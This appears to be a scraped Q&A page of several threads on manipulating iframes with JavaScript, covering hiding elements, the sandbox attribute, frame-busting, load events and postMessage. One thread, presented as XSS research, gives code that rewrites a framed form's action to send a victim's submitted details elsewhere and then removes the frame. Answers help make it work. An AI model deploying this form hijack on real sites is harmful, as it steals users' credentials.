Remove id from iframe - javascript

I have an iframe of a certain page from a site that I'm using, but I don't want all the parts of that page to be displayed with the iframe. Particularly, there's a navigation sidebar on the page that I don't want to be in the iframe. I'm trying to achieve this with the javascript seen below, but I can't quite figure it out.
<iframe width="800" height="800" src="scores/new?site_id=193">
<script>
var element = document.getElementById("sidebar-wrapper");
element.parentNode.removeChild(element);
</script>
</iframe>

For security reasons you can't run javascript through iframes. There are some exceptions if you're on the same domain but for the most part you should really avoid it.
If the iframe isn't a site you can control then there's pretty much nothing you can do. If you do control the other site and it's a different domain you might be able to work with the postMessage functions.
Edit: Check out the docs that Mozilla has up here https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
You'd need to create a listener on the inside that handles a message and hides your sidebar. Then on the parent send a message to the iframe to trigger that function.
Parent:
var iframe = document.getElementById('#iframeID');
iframe.contentWindow.postMessage('iframeTrigger');
Iframe:
window.addEventListener('iframeTrigger', hideSidebar);
function hideSidebar() {
//do stuff
}

You can insert a control in the iframed page
//inside the iframed page
var iframe = (function() {
try {
return window.self !== window.top;
} catch (e) {
return true;
}
})();
if(iframe === true) {
var element = document.getElementById("sidebar-wrapper");
element.parentNode.removeChild(element);
}
Hope this could suit your need.

This should work theoretically, and it works in console. But this doesn't work in the HTML, although you are trying it from the same domain, because of security reasons. I just wanted to tell my view and I tried this:
<iframe src="http://output.jsbin.com/figujeyiyo" frameborder="0" id="ifrm">
Sorry, iframes not supported.
</iframe>
<script>
console.log(document.getElementById("ifrm").contentDocument.documentElement.getElementsByTagName("div"));
e = document.getElementById("ifrm").contentDocument.documentElement.getElementsByTagName("div")[0];
console.log(e);
e.parentNode.removeChild(element);
</script>

You need to execute the code when the page loads, you can do it like this:
document.addEventListener('DOMContentLoaded', function() {
var element = document.getElementById("sidebar-wrapper");
element.parentNode.removeChild(element);
});

Related

Block my iframe from executing top.location.href inside its javascript? [duplicate]

Some websites have code to "break out" of IFRAME enclosures, meaning that if a page A is loaded as an IFRAME inside an parent page P some Javascript in A redirects the outer window to A.
Typically this Javascript looks something like this:
<script type="text/javascript">
if (top.location.href != self.location.href)
top.location.href = self.location.href;
</script>
My question is: As the author of the parent page P and not being the author of the inner page A, how can I prevent A from doing this break-out?
P.S. It seems to me like it ought to be a cross-site security violation, but it isn't.
With HTML5 the iframe sandbox attribute was added. At the time of writing this works on Chrome, Safari, Firefox and recent versions of IE and Opera but does pretty much what you want:
<iframe src="url" sandbox="allow-forms allow-scripts"></iframe>
If you want to allow top-level redirects specify sandbox="allow-top-navigation".
I use the sandbox attribute on the iframe element:
allow-forms allow form submission
allow-popups allows popups
allow-pointer-lock allows pointer lock
allow-same-origin allows the document to maintain its origin
allow-scripts allows JavaScript execution, and also allows features to trigger automatically
allow-top-navigation allows the document to break out of the frame by navigating the top-level window
Top navigation is what you want to prevent, so leave that out and it will not be allowed. Anything left out will be blocked
ex.
<iframe sandbox="allow-same-origin allow-scripts allow-popups allow-forms" src="http://www.example.com"</iframe>
Try using the onbeforeunload property, which will let the user choose whether he wants to navigate away from the page.
Example: https://developer.mozilla.org/en-US/docs/Web/API/Window.onbeforeunload
In HTML5 you can use sandbox property. Please see Pankrat's answer below.
http://www.html5rocks.com/en/tutorials/security/sandboxed-iframes/
After reading the w3.org spec. I found the sandbox property.
You can set sandbox="", which prevents the iframe from redirecting. That being said it won't redirect the iframe either. You will lose the click essentially.
Example here: http://jsfiddle.net/ppkzS/1/
Example without sandbox: http://jsfiddle.net/ppkzS/
I know it has been a long time since question was done but here is my improved version it will wait 500ms for any subsequent call only when the iframe is loaded.
<script type="text/javasript">
var prevent_bust = false ;
var from_loading_204 = false;
var frame_loading = false;
var prevent_bust_timer = 0;
var primer = true;
window.onbeforeunload = function(event) {
prevent_bust = !from_loading_204 && frame_loading;
if(from_loading_204)from_loading_204 = false;
if(prevent_bust){
prevent_bust_timer=500;
}
}
function frameLoad(){
if(!primer){
from_loading_204 = true;
window.top.location = '/?204';
prevent_bust = false;
frame_loading = true;
prevent_bust_timer=1000;
}else{
primer = false;
}
}
setInterval(function() {
if (prevent_bust_timer>0) {
if(prevent_bust){
from_loading_204 = true;
window.top.location = '/?204';
prevent_bust = false;
}else if(prevent_bust_timer == 1){
frame_loading = false;
prevent_bust = false;
from_loading_204 = false;
prevent_bust_timer == 0;
}
}
prevent_bust_timer--;
if(prevent_bust_timer==-100) {
prevent_bust_timer = 0;
}
}, 1);
</script>
and onload="frameLoad()" and onreadystatechange="frameLoad();" must be added to the frame or iframe.
Since the page you load inside the iframe can execute the "break out" code with a setInterval, onbeforeunload might not be that practical, since it could flud the user with 'Are you sure you want to leave?' dialogs.
There is also the iframe security attribute which only works on IE & Opera
:(
In my case I want the user to visit the inner page so that server will see their ip as a visitor. If I use the php proxy technique I think that the inner page will see my server ip as a visitor so it is not good. The only solution I got so far is wilth onbeforeunload.
Put this on your page:
<script type="text/javascript">
window.onbeforeunload = function () {
return "This will end your session";
}
</script>
This works both in firefox and ie, thats what I tested for.
you will find versions using something like evt.return(whatever) crap... that doesn't work in firefox.
try:
<iframe sandbox=" "></iframe>
By doing so you'd be able to control any action of the framed page, which you cannot. Same-domain origin policy applies.

How to dynamically close an iframe after form submit in JavaScript

As part of some XSS research I'm doing, I'm trying to spawn an iframe with a changed form action and then close the iframe after the victim has submitted their details. I have the below code so far:
<body onload="iframeEdit()">
<script>
function deleteIframe() {
var iframe = document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
function iframeEdit() {
var iframe = document.getElementById("myframe");
var innerDoc = iframe.contentDocument || iframe.contentWindow.document;
var form = innerDoc.getElementsByTagName("form");
form[0].action = "http://127.0.0.1/new/page.php";
form[0].setAttribute("onSubmit", "deleteIframe()");
}
</script>
<iframe id="myframe" src="http://127.0.0.1/iframe/page.php" height="250" width="300">
That code still posts the form details to the php page; however, it fails to close the iframe afterwards. I know the iframe delete code works, as if I try it on its own in it works as it should. So it's either to do with the logic flow of the script, or the setAttribute line isn't working as it should. Can anyone shed some light on where I'm going wrong? Thanks!
There may be a better way to do this, but a work around I found was to pause the deleteIframe function, via setTimeout(). I found as little as 5 milliseconds was enough for the form details to be successfully posted :)
function deleteIframeTimer(){
var t = setTimeout("deleteIframe()", 5);
}
function deleteIframe() {
var iframe = parent.document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
Many thanks to Jason for the parenttip!
This is just a guess without running your code
form[0].setAttribute("onSubmit", "parent.deleteIframe()");
My guess is that the iframe cannot access the parent window directly, so you'll need the parent

Remove current iframe

I have an HTML page that opens an IFRAME ... But at some point, after some user interactions with the IFRAME, it should close itself. I've tried various commands such as:
var fram = $("IFRAME_NAME");
fram.parentNode.removeChild(fram);
this.remove();
this.style.display='none';
var frame = parent.frames['IFRAME_NAME'];
frame.remove();
frame.html("");
document.IFRAME_NAME.document.body.innerHTML = '';
Thanks.
Considering markup like this:
<iframe id="myframe" />
The following jQuery code will remove it in the host page:
$("#myframe").remove();
To close the iframe from within iframe itself, define the function in the host page:
function closeFrame() {
$("#myframe").remove();
}
Then in the code running in the iframe, call:
parent.closeFrame();
If you are using jQuery (and I've understood your question properly), you can use a code as simple as:
<iframe src="http://www.google.com" id="testframe"></iframe>
<script>
$(document).ready(function() {
setTimeout(function () {
$('#testframe').remove();
},5000);
});
</script>
http://jsfiddle.net/pYHx5/

Hide div withing iframe

I have an iframe and I'd like to hide a div whithin it, so bascily people can't for example sign out in the iframe.
What I did was :
<script type="text/javascript">
function changeCSS(){
frame = document.getElementById("myIframe");
frame.document.getElementById("guser").style.display='none';
}
</script>
<iframe onload="javascript:changeCSS()" id="myIframe" src="{$docUrl}" width="800px" height="600px"></iframe>
But I can't get it to hide the div "guser".
If anyone could help I'd be very much appreciated.
try frame.contentWindow.document.getElementById or frame.contentDocument.getElementById
.style.visibility = "hidden";
Different hostname or domain? If you don't have control over the framed page, there's nothing you can easily do. If you do have control over the framed page, try checking inside the frame whether the page is framed or not (this is based on a well-known frame-busting code):
function changeCSS() {
document.getElementById("guser").style.display = 'none';
}
if(top != self) {
if(window.addEventListener) {
window.addEventListener('load', changeCSS, false);
} else {
window.attachEvent('onload', changeCSS);
}
}
Edit: Now that you mention Google Docs, I believe the above code won't work.

Capture iframe load complete event

Is there a way to capture when the contents of an iframe have fully loaded from the parent page?
<iframe> elements have a load event for that.
How you listen to that event is up to you, but generally the best way is to:
1) create your iframe programatically
It makes sure your load listener is always called by attaching it before the iframe starts loading.
<script>
var iframe = document.createElement('iframe');
iframe.onload = function() { alert('myframe is loaded'); }; // before setting 'src'
iframe.src = '...';
document.body.appendChild(iframe); // add it to wherever you need it in the document
</script>
2) inline javascript, is another way that you can use inside your HTML markup.
<script>
function onMyFrameLoad() {
alert('myframe is loaded');
};
</script>
<iframe id="myframe" src="..." onload="onMyFrameLoad(this)"></iframe>
3) You may also attach the event listener after the element, inside a <script> tag, but keep in mind that in this case, there is a slight chance that the iframe is already loaded by the time you get to adding your listener. Therefore it's possible that it will not be called (e.g. if the iframe is very very fast, or coming from cache).
<iframe id="myframe" src="..."></iframe>
<script>
document.getElementById('myframe').onload = function() {
alert('myframe is loaded');
};
</script>
Also see my other answer about which elements can also fire this type of load event
Neither of the above answers worked for me, however this did
UPDATE:
As #doppleganger pointed out below, load is gone as of jQuery 3.0, so here's an updated version that uses on. Please note this will actually work on jQuery 1.7+, so you can implement it this way even if you're not on jQuery 3.0 yet.
$('iframe').on('load', function() {
// do stuff
});
There is another consistent way (only for IE9+) in vanilla JavaScript for this:
const iframe = document.getElementById('iframe');
const handleLoad = () => console.log('loaded');
iframe.addEventListener('load', handleLoad, true)
And if you're interested in Observables this does the trick:
import { fromEvent } from 'rxjs';
const iframe = document.getElementById('iframe');
fromEvent(iframe, 'load').subscribe(() => console.log('loaded');
Note that the onload event doesn't seem to fire if the iframe is loaded when offscreen. This frequently occurs when using "Open in New Window" /w tabs.
Step 1: Add iframe in template.
<iframe id="uvIFrame" src="www.google.com"></iframe>
Step 2: Add load listener in Controller.
document.querySelector('iframe#uvIFrame').addEventListener('load', function () {
$scope.loading = false;
$scope.$apply();
});
You can also capture jquery ready event this way:
$('#iframeid').ready(function () {
//Everything you need.
});
Here is a working example:
http://jsfiddle.net/ZrFzF/

Categories

Resources